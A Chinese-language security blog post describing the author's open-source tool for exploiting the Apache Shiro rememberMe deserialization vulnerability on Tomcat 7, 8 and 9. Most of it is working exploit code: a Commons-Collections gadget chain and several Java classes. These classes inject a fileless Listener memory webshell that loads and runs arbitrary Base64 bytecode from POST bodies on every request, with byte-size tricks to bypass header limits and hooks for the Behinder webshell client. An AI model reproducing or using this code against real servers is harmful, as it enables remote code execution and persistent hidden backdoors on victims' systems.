最近在看phith0n师傅的教程入门JAVA安全,其中提到的Shiro反序列化已经是个2016年的老洞了
但是这个漏洞第一似乎比较适合入门,而且实战确实还能遇到几个(犄角旮旯里的系统),另外现有的注入工具注入内存马的时候可能会失败,于是自己造了个轮子,也是为了更好地了解漏洞的原理和利用方式
本文所有代码以及GUI工具都开源在了 https://github.com/ccdr4gon/Dr4gonSword
仅供交流学习漏洞原理,请勿用于非法用途
最后我把自己在学习过程中的一些浅薄的思考写成了这篇文章,如有谬误恳请各位师傅指出
利用链
CommonsCollectionsK1_1
因为写的时候在看p师傅的知识星球入门JAVA,按照p师傅的顺序shiro前面是cc3,所以我写的也是把cc3的TransformerChain改成tiedMapEntry,可能和正版的CommonsCollectionsK1有点区别(大概只是InvokerTransformer和InstantiateTransformer)的区别
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_bytecodes",new byte[][] {code});
setFieldValue(obj,"_name","");
setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
InstantiateTransformer i=new InstantiateTransformer
(
new Class[] { Templates.class },
new Object[] { obj }
);
Map originalMap = new HashMap();
Map decoratedMap = LazyMap.decorate(originalMap , i);
Map fakedecoratedMap=LazyMap.decorate(originalMap, new ConstantTransformer("1"));
TiedMapEntry tme = new TiedMapEntry(fakedecoratedMap,TrAXFilter.class);
Map enterpointMap = new HashMap();
enterpointMap.put(tme, "valuevalue");
decoratedMap.clear();
setFieldValue(tme,"map",decoratedMap);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(enterpointMap);
CommonsCollectionsK1_1_For_CC4
只是把LazyMap.decorate
改成了LazyMap.lazyMap
而已
Tomcat8/9回显和注入内存马
三种内存马为Listener型,Filter型,Servlet型,网上对于这三种内存马的研究已经有很多师傅做过了,不再赘述
其中注入成功的关键点就是如何获取到StandardContext
而获取StandardContext又有3种方式
- 1.在jsp文件自带的变量如request等等里面找
- 2.从
Thread.currentThread()
里面找 - 3.从
JMXMBeanServer
的domainTb
下面直接获取
首先第一种应该被排除,因为我们要做到无文件落地
这里我选了第二种,因为首先第二种在Tomcat8/9的情况下最短最方便
另外我选了Listener型的内存马,因为Tomcat加载的顺序是Listener,Filter,Servlet,而shiro的实现似乎包含一个ShiroFilter,如果我们使用Listener型内存马,那是不是就不会被shiro拦截(指还没加载恶意代码就跳转登录界面)了呢
事实上也确实Listener型的似乎好用一些,可以在shirofilter匹配/*
的时候生效
如下图,2021年强网杯(写文章的前几天)初赛中的HardPentest题目也可以正常使用
我们知道Shiro反序列化漏洞要反序列化成功必须是AbstractTranslet
的子类才可以(因为是TemplatesImpl
利用链,在TemplatesImpl
的defineTransletClasses
有下面这一行)
而从StandardContext
加进listeners的类也要实现ServletRequestListener
接口,那我们不如直接创建一个类Init,既继承AbstractTranslet
类,又实现ServletRequestListener
接口
然后在自己的构造方法中调用StandardContext.addApplicationEventListener(this)
,在反序列化的过程中出发构造方法,把自己加入到listeners中
然后在requestInitialized
中编写恶意代码,不就可以在每个请求的过程中执行任意命令了吗(也是为了解决下面request too large的问题,在每个请求的过程中加载恶意的字节码)
public class Init extends AbstractTranslet implements ServletRequestListener {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
public Init() throws Exception {
super();
super.namesArray = new String[]{"ccdr4gon"};
WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
standardCtx.addApplicationEventListener(this);
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {}
@Override
public void requestInitialized(ServletRequestEvent sre) {
//恶意代码
}
}
但是这里我们并不能随意编写恶意代码,因为如果恶意代码太长(导致header超过8kb),那么tomcat会报一个header too large的错,无法利用成功
目前似乎有两种解决的方式
- 1.改变
org.apache.coyote.http11.AbstractHttp11Protocol的maxHeaderSize
的大小 而这篇文章里面也说明了,但是由于request的inputbuffer会复用,所以我们在修改完maxHeaderSize
之后,需要多个连接同时访问 - 2.把恶意代码放在POST包的body里面
我们这里选择第二种方式
首先我们把一个Init加载进内存,然后在Init的requestInitialized
方法中读取POST的body作为字节码加载类,并调用类的构造方法
这样我们就可以执行长度不限的任意代码了,如果有的依赖缺失,也可以手动把类全加载进去(比如连接Behinder3早期版本用到的PageContext类)
public class Init extends AbstractTranslet implements ServletRequestListener {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
public Init() throws Exception {
super();
super.namesArray = new String[]{"ccdr4gon"};
WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
standardCtx.addApplicationEventListener(this);
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {}
@Override
public void requestInitialized(ServletRequestEvent sre) {
try {
RequestFacade requestfacade= (RequestFacade) sre.getServletRequest();
Field field = requestfacade.getClass().getDeclaredField("request");
field.setAccessible(true);
Request request = (Request) field.get(requestfacade);
if (request.getParameter("stage").equals("init")) {
StringBuilder sb = new StringBuilder("");
BufferedReader br = request.getReader();
String str;
while ((str = br.readLine()) != null) {
sb.append(str);
}
byte[] payload = Base64.getDecoder().decode(sb.toString());
Method defineClass = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), payload, 0, payload.length);
clazz.newInstance();
}
}catch (Exception ignored){}
}
}
因为我一开始在本地测试的时候是随手找的冰蝎beta6版本,其中需要一个PageContext类型的变量,而PageContext是一个抽象类
public abstract class PageContext extends JspContext {
我也没想到太好的办法,我就自己实现了一个类继承PageContext,这个类要实现getResponse,getRequest,getSession方法,因为旧版本的冰蝎要使用到这三个方法
这里我踩了一个小坑导致不能连接新版本的冰蝎,我看了jsp马没有任何变化,没办法只能jd-gui看一下jar包
一看代码发现冰蝎兼容旧版本的处理如下,而我自己创建的继承了PageContext
的类名为Dr4gonContext
可以看到匹配的是PageContext
,于是把我们自己的类改名为Dr4gonPageContext
即可🤣🤣🤣
都有内存马了还要啥回显嘛,不过最后还是写了回显,第一个可能比较方便,第二可以用来检测内存马是不是注入成功(我的回显和内存马在同一个类里面,如果可以回显基本上也可以连接内存马)
最关键的是在我们的listener中,可以直接获取到request,所以写起来也很方便,于是就写了
代码就不贴了,都丢在github上了
Tomcat7回显和注入内存马
写好了工具以后旁边师傅跟我说利用失败,然后我一看是个Tomcat7的站,随便调试了一下发现在Tomcat中,没办法再使用简单的Thread.currentThread().getContextClassLoader().getResource().getContext()
来获取到StandardContext
了
调试了一下以后我没有使用jmx利用链,因为:
在SpringBoot嵌入式tomcat的环境下似乎默认没有开启嵌入式tomcat的JMXmbeanserver
,其他师傅们的利用链似乎跑不通(没有仔细调试)
payload太长,即使Init类也无法加载进去
这里看了很多很多师傅的利用链,最终还是选择了和kingkk师傅差不多的方法(使用了c0ny1师傅的java-object-searcher来寻找利用链,然后找到比较短的一个)
但是即使是比较短的一个利用链还是超过8kb的长度,最终只能手动优化Init类的代码🤣,缩小字节码体积,最终也能满足8kb的限制(rememberMe的长度在7900左右),优化后的代码如下
public class T7 extends AbstractTranslet implements ServletRequestListener {
public Object G(Object o, String s) throws Exception {
Field f = o.getClass().getDeclaredField(s);
f.setAccessible(true);
return f.get(o);
}
public void transform(DOM a, SerializationHandler[] b){}
public void transform(DOM a, DTMAxisIterator b, SerializationHandler c){}
public void requestDestroyed(ServletRequestEvent s) {}
public T7() {
try {
Object o=new Object();
Thread[] g = (Thread[]) G(Thread.currentThread().getThreadGroup(), "threads");
for (int i = 0; i < g.length; i++) {
Thread t = g[i];
if (t!=null&&t.getName().contains("Backg")) {
o = G(G(t, "target"), "this$0");
}
}
Field f = Class.forName("org.apache.catalina.core.ContainerBase").getDeclaredField("children");
f.setAccessible(true);
HashMap<String,Object> p = (HashMap) f.get(o);
for (Map.Entry l : p.entrySet()) {
HashMap<String,Object> k = (HashMap) f.get(l.getValue());
for (Map.Entry j : k.entrySet()){
((StandardContext)j.getValue()).addApplicationEventListener(this);
}
}
} catch (Exception i) {}
}
public void requestInitialized(ServletRequestEvent s) {
try {
StringBuilder b = new StringBuilder("");
BufferedReader r = ((Request) G(s.getServletRequest(), "request")).getReader();
String g;
while ((g = r.readLine()) != null) {
b.append(g);
}
byte[] p = Base64.getDecoder().decode(b.toString());
Method m = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
m.setAccessible(true);
Class c = (Class) m.invoke(Thread.currentThread().getContextClassLoader(), p, 0, p.length);
c.newInstance();
}catch (Exception i){}
}
}
这里本来我是想把Init类分两个请求加载进去的,后一个Init2调用前一个Init1的方法,形成一个接力,但是后来发现shiro反序列化利用的时候是每次defineClass都会new一个自己的ClassLoader(在TemplatesImpl
类中),所以前后两个类没法互相访问
没办法只好出此下策,手动优化类的代码,缩短字节码的长度至8k以内,如果师傅有更好的方法希望可以交流一下
感谢
phithon
kingkk
j1anFen
Litch1
threedr3am
wh1t3p1g
李三
LandGrey
Lucifaer
c0ny1
等等等等发表过Tomcat内存马/回显以及Shiro利用方式文章的师傅
发表评论
您还未登录,请先登录。
登录